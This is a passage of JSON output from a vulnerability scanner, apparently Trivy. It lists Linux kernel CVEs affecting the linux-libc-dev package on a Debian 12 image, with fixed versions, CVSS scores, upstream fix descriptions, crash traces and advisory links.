"https://git.kernel.org/linus/c22533c66ccae10511ad6a7afc34bb26c47577e3%20%287.0-rc2%29", "https://git.kernel.org/stable/c/1d35fc94cd723ae27371a31f404685a24b097d71", "https://git.kernel.org/stable/c/5e2fc90018635fc982d39f8c11cd3b368fdaf3b7", "https://git.kernel.org/stable/c/6f60a783860c77b309f7d81003b6a0c73feca49e", "https://git.kernel.org/stable/c/a7afb8f810c04845fdfc58c57d9cf0cc5f23ced0", "https://git.kernel.org/stable/c/c22533c66ccae10511ad6a7afc34bb26c47577e3", "https://git.kernel.org/stable/c/eaa6a56801ddd2d9b4980f19e7fe002b00994804", "https://lore.kernel.org/linux-cve-announce/2026032539-CVE-2026-23361-bd5c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23361", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23361" ], "PublishedDate": "2026-03-25T11:16:35.06Z", "LastModifiedDate": "2026-10-30T13:18:37.14Z" }, { "VulnerabilityID": "CVE-2026-23378", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23378", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ce94247f46d24e801bf6490577fb420b3af29c587b81963c3a6115b39b0029bb", "Title": "kernel: net/sched: act_ife: Fix metalist update behavior", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ife: Fix metalist update behavior\n\nWhenever an ife action replace changes the metalist, instead of\nreplacing the old data on the metalist, the current ife code is appending\nthe new metadata. Aside from being innapropriate behavior, this may lead\nto an unbounded addition of metadata to the metalist which might cause an\nout of bounds error when running the encode op:\n\n[ 138.423369][ C1] ==================================================================\n[ 138.424317][ C1] BUG: KASAN: slab-out-of-bounds in ife_tlv_meta_encode (net/ife/ife.c:168)\n[ 138.424906][ C1] Write of size 4 at addr ffff8880077f4ffe by task ife_out_out_bou/255\n[ 138.425778][ C1] CPU: 1 UID: 0 PID: 255 Comm: ife_out_out_bou Not tainted 7.0.0-rc1-00169-gfbdfa8da05b6 #624 PREEMPT(full)\n[ 138.425795][ C1] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n[ 138.425800][ C1] Call Trace:\n[ 138.425804][ C1] \u003cIRQ\u003e\n[ 138.425808][ C1] dump_stack_lvl (lib/dump_stack.c:122)\n[ 138.425828][ C1] print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)\n[ 138.425839][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[ 138.425844][ C1] ? __virt_addr_valid (./arch/x86/include/asm/preempt.h:95 (discriminator 1) ./include/linux/rcupdate.h:975 (discriminator 1) ./include/linux/mmzone.h:2207 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1))\n[ 138.425853][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168)\n[ 138.425859][ C1] kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:597)\n[ 138.425868][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168)\n[ 138.425878][ C1] kasan_check_range (mm/kasan/generic.c:186 (discriminator 1) mm/kasan/generic.c:200 (discriminator 1))\n[ 138.425884][ C1] __asan_memset (mm/kasan/shadow.c:84 (discriminator 2))\n[ 138.425889][ C1] ife_tlv_meta_encode (net/ife/ife.c:168)\n[ 138.425893][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:171)\n[ 138.425898][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[ 138.425903][ C1] ife_encode_meta_u16 (net/sched/act_ife.c:57)\n[ 138.425910][ C1] ? __pfx_do_raw_spin_lock (kernel/locking/spinlock_debug.c:114)\n[ 138.425916][ C1] ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 3))\n[ 138.425921][ C1] ? __pfx_ife_encode_meta_u16 (net/sched/act_ife.c:45)\n[ 138.425927][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[ 138.425931][ C1] tcf_ife_act (net/sched/act_ife.c:847 net/sched/act_ife.c:879)\n\nTo solve this issue, fix the replace behavior by adding the metalist to\nthe ife rcu data structure.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23378", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/e2cedd400c3ec0302ffca2490e8751772906ac23%20%287.0-rc3%29", "https://git.kernel.org/stable/c/56ade7ddea6ce605552341785d08e365c3f61861", "https://git.kernel.org/stable/c/5b1449301ca070814d866990b46f48d3f39ea4ee", "https://git.kernel.org/stable/c/691866c4cca54dc4df762276b49e89b36e046947", "https://git.kernel.org/stable/c/91a89d3bdc2f63d983adc13d1771631663c5dc1b", "https://git.kernel.org/stable/c/cd888c3966672239f2e0707b846a5a936ac9038a", "https://git.kernel.org/stable/c/e2cedd400c3ec0302ffca2490e8751772906ac23", "https://lore.kernel.org/linux-cve-announce/2026032542-CVE-2026-23378-f329@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23378", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23378" ], "PublishedDate": "2026-03-25T11:16:37.643Z", "LastModifiedDate": "2026-10-15T02:18:53.123Z" }, { "VulnerabilityID": "CVE-2026-23388", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23388", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:02a0be2bfe3a30c636ddb4e6a6d0d285783eb96807a8030f4598d65dd57325b8", "Title": "kernel: Squashfs: check metadata block offset is within range", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nSquashfs: check metadata block offset is within range\n\nSyzkaller reports a \"general protection fault in squashfs_copy_data\"\n\nThis is ultimately caused by a corrupted index look-up table, which\nproduces a negative metadata block offset.\n\nThis is subsequently passed to squashfs_copy_data (via\nsquashfs_read_metadata) where the negative offset causes an out of bounds\naccess.\n\nThe fix is to check that the offset is within range in\nsquashfs_read_metadata. This will trap this and other cases.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23388", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/fdb24a820a5832ec4532273282cbd4f22c291a0d%20%287.0-rc2%29", "https://git.kernel.org/stable/c/01ee0bcc29864b78249308e8b35042b09bbf5fe3", "https://git.kernel.org/stable/c/0c8ab092aec3ac4294940054772d30b511b16713", "https://git.kernel.org/stable/c/3b9499e7d677dd4366239a292238489a804936b2", "https://git.kernel.org/stable/c/3f68a9457a6190814377577374da75f872e0a013", "https://git.kernel.org/stable/c/60f679f643f3f36a8571ea585e4ce5d93ef952b5", "https://git.kernel.org/stable/c/6b847d65f5b0065e02080c61fad93d57d6686383", "https://git.kernel.org/stable/c/9e9fa5ad37c9cbad73c165c7ff1e76e650825e7c", "https://git.kernel.org/stable/c/fdb24a820a5832ec4532273282cbd4f22c291a0d", "https://linux.oracle.com/cve/CVE-2026-23388.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032544-CVE-2026-23388-9e71@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23388", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23388" ], "PublishedDate": "2026-03-25T11:16:39.28Z", "LastModifiedDate": "2026-11-05T22:18:22.79Z" }, { "VulnerabilityID": "CVE-2026-23395", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23395", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e1159783e9c1c76fd55989232689cc296be97f4adffe813b51424d95fbb496e7", "Title": "kernel: Bluetooth: L2CAP: Fix accepting multiple L2CAP_ECRED_CONN_REQ", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix accepting multiple L2CAP_ECRED_CONN_REQ\n\nCurrently the code attempts to accept requests regardless of the\ncommand identifier which may cause multiple requests to be marked\nas pending (FLAG_DEFER_SETUP) which can cause more than\nL2CAP_ECRED_MAX_CID(5) to be allocated in l2cap_ecred_rsp_defer\ncausing an overflow.\n\nThe spec is quite clear that the same identifier shall not be used on\nsubsequent requests:\n\n'Within each signaling channel a different Identifier shall be used\nfor each successive request or indication.'\nhttps://www.bluetooth.com/wp-content/uploads/Files/Specification/HTML/Core-62/out/en/host/logical-link-control-and-adaptation-protocol-specification.html#UUID-32a25a06-4aa4-c6c7-77c5-dcfe3682355d\n\nSo this attempts to check if there are any channels pending with the\nsame identifier and rejects if any are found.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "azure": 4, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23395", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/5b3e2052334f2ff6d5200e952f4aa66994d09899%20%287.0-rc5%29", "https://git.kernel.org/stable/c/10a7a702542240d5edb2b39450ac951c59ccd009", "https://git.kernel.org/stable/c/2124d82fd25e1671bb3ceb37998af5aae5903e06", "https://git.kernel.org/stable/c/46e5b71666fb7652082e4e214a3365f4b14f1dc3", "https://git.kernel.org/stable/c/5b3e2052334f2ff6d5200e952f4aa66994d09899", "https://git.kernel.org/stable/c/6b949a6b33cbdf621d9fc6f0c48ac00915dbf514", "https://git.kernel.org/stable/c/8d0d94f8ba5b3a0beec3b0da558b9bea48018117", "https://git.kernel.org/stable/c/e72ee455297b794b852e5cea8d2d7bb17312172a", "https://git.kernel.org/stable/c/fb4a3a26483f3ea2cd21c7a2f7c45d5670600465", "https://linux.oracle.com/cve/CVE-2026-23395.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032549-CVE-2026-23395-5e50@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23395", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23395" ], "PublishedDate": "2026-03-25T11:16:40.347Z", "LastModifiedDate": "2026-10-19T19:17:46.807Z" }, { "VulnerabilityID": "CVE-2026-23397", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23397", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:32627df112109a9ad00970c4373d2911e66c86267b6e396b2e5082c3b75f9463", "Title": "Linux kernel: nfnetlink_osf: Linux kernel: Denial of Service in nfnetlink_osf via crafted network packets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfnetlink_osf: validate individual option lengths in fingerprints\n\nnfnl_osf_add_callback() validates opt_num bounds and string\nNUL-termination but does not check individual option length fields.\nA zero-length option causes nf_osf_match_one() to enter the option\nmatching loop even when foptsize sums to zero, which matches packets\nwith no TCP options where ctx-\u003eoptp is NULL:\n\n Oops: general protection fault\n KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)\n Call Trace:\n nf_osf_match (net/netfilter/nfnetlink_osf.c:227)\n xt_osf_match_packet (net/netfilter/xt_osf.c:32)\n ipt_do_table (net/ipv4/netfilter/ip_tables.c:293)\n nf_hook_slow (net/netfilter/core.c:623)\n ip_local_deliver (net/ipv4/ip_input.c:262)\n ip_rcv (net/ipv4/ip_input.c:573)\n\nAdditionally, an MSS option (kind=2) with length \u003c 4 causes\nout-of-bounds reads when nf_osf_match_one() unconditionally accesses\noptp[2] and optp[3] for MSS value extraction. While RFC 9293\nsection 3.2 specifies that the MSS option is always exactly 4\nbytes (Kind=2, Length=4), the check uses \"\u003c 4\" rather than\n\"!= 4\" because lengths greater than 4 do not cause memory\nsafety issues -- the buffer is guaranteed to be at least\nfoptsize bytes by the ctx-\u003eoptsize == foptsize check.\n\nReject fingerprints where any option has zero length, or where an MSS\noption has length less than 4, at add time rather than trusting these\nvalues in the packet matching hot path.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H", "V3Score": 4.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23397", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/dbdfaae9609629a9569362e3b8f33d0a20fd783c%20%287.0-rc5%29", "https://git.kernel.org/stable/c/224f4678812e1a7bc8341bcb666773a0aec5ea6f", "https://git.kernel.org/stable/c/3932620c04c2938c93c0890c225960d3d34ba355", "https://git.kernel.org/stable/c/3c11b5c2436a3a5b450612ab160e3a525b28cfb5", "https://git.kernel.org/stable/c/4c6aa008b913e808c4f4d3cde36cb1d9bb5967c6", "https://git.kernel.org/stable/c/aa0574182c46963c3cdb8cde46ec93aca21100d8", "https://git.kernel.org/stable/c/dbdfaae9609629a9569362e3b8f33d0a20fd783c", "https://git.kernel.org/stable/c/e9cf17b91e733fec725ebcc0b3098bc5ccd505e0", "https://git.kernel.org/stable/c/ec8bf0571b142f29dc0b68ae2ac3952f7a464b38", "https://linux.oracle.com/cve/CVE-2026-23397.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032634-CVE-2026-23397-d4f0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23397", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23397" ], "PublishedDate": "2026-03-26T11:16:19.72Z", "LastModifiedDate": "2026-11-05T22:18:23.563Z" }, { "VulnerabilityID": "CVE-2026-23408", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:91892bcabbf0243e95aedd7b0694cbdceae9f93bb16f959ce4d5c106f1987355", "Title": "kernel: apparmor: Fix double free of ns_name in aa_replace_profiles()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: Fix double free of ns_name in aa_replace_profiles()\n\nif ns_name is NULL after\n1071 error = aa_unpack(udata, \u0026lh, \u0026ns_name);\n\nand if ent-\u003ens_name contains an ns_name in\n1089 } else if (ent-\u003ens_name) {\n\nthen ns_name is assigned the ent-\u003ens_name\n1095 ns_name = ent-\u003ens_name;\n\nhowever ent-\u003ens_name is freed at\n1262 aa_load_ent_free(ent);\n\nand then again when freeing ns_name at\n1270 kfree(ns_name);\n\nFix this by NULLing out ent-\u003ens_name after it is transferred to ns_name\n\n\")", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23408", "https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt", "https://git.kernel.org/stable/c/18b5233e860c294a847ee07869d93c0b8673a54b", "https://git.kernel.org/stable/c/35f4caec1352054b9a61cfdf2bf1898073637aa0", "https://git.kernel.org/stable/c/55ef2af7490aaf72f8ffe11ec44c6bcb7eb2162a", "https://git.kernel.org/stable/c/5df0c44e8f5f619d3beb871207aded7c78414502", "https://git.kernel.org/stable/c/7998ab3010d2317643f91828f1853d954ef31387", "https://git.kernel.org/stable/c/86feeccd6b93ed94bd6655f30de80f163f8d5a45", "https://git.kernel.org/stable/c/c053ae381ce227577567d1ef10090ce7506d7a28", "https://git.kernel.org/stable/c/c6347a2116ecccb8fd9ee4ebc75ae41d1d7ef689", "https://lore.kernel.org/linux-cve-announce/2026040113-CVE-2026-23408-1932@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23408", "https://ubuntu.com/blog/apparmor-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8152-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8164-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8243-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/vulnerabilities/crackarmor", "https://www.cve.org/CVERecord?id=CVE-2026-23408", "https://www.openwall.com/lists/oss-security/2026/04/01/3" ], "PublishedDate": "2026-04-01T09:16:16.747Z", "LastModifiedDate": "2026-06-17T10:21:31.487Z" }, { "VulnerabilityID": "CVE-2026-23410", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3bb8ec62cefe7dfb8e92e9120327815dce7d5c00967468480739c7dff936edb3", "Title": "kernel: apparmor: fix race on rawdata dereference", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix race on rawdata dereference\n\nThere is a race condition that leads to a use-after-free situation:\nbecause the rawdata inodes are not refcounted, an attacker can start\nopen()ing one of the rawdata files, and at the same time remove the\nlast reference to this rawdata (by removing the corresponding profile,\nfor example), which frees its struct aa_loaddata; as a result, when\nseq_rawdata_open() is reached, i_private is a dangling pointer and\nfreed memory is accessed.\n\nThe rawdata inodes weren't refcounted to avoid a circular refcount and\nwere supposed to be held by the profile rawdata reference. However\nduring profile removal there is a window where the vfs and profile\ndestruction race, resulting in the use after free.\n\nFix this by moving to a double refcount scheme. Where the profile\nrefcount on rawdata is used to break the circular dependency. Allowing\nfor freeing of the rawdata once all inode references to the rawdata\nare put.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23410", "https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt", "https://git.kernel.org/stable/c/3b8e77c7abab40e6de9ad9de730d77984a498840", "https://git.kernel.org/stable/c/6b6ba87579c7e7c669e0bec91823e7fb693bc5df", "https://git.kernel.org/stable/c/6ef1f2926c41ab96952d9696d55a052f1b3a9418", "https://git.kernel.org/stable/c/763e838adc3c7ec5a7df2990ce84cad951e42721", "https://git.kernel.org/stable/c/a0b7091c4de45a7325c8780e6934a894f92ac86b", "https://git.kernel.org/stable/c/af782cc8871e3683ddd5a3cd2f7df526599863a9", "https://git.kernel.org/stable/c/d9d8560b9b7932f8cffc4c068c14289220900f79", "https://git.kernel.org/stable/c/f9761add6d100962a23996cb68f3d6abdd4d1815", "https://lore.kernel.org/linux-cve-announce/2026040113-CVE-2026-23410-d7d5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23410", "https://ubuntu.com/blog/apparmor-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8098-10", "https://ubuntu.com/security/notices/USN-8152-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8164-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8201-1", "https://ubuntu.com/security/notices/USN-8224-1", "https://ubuntu.com/security/notices/USN-8243-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8266-1", "https://ubuntu.com/security/notices/USN-8267-1", 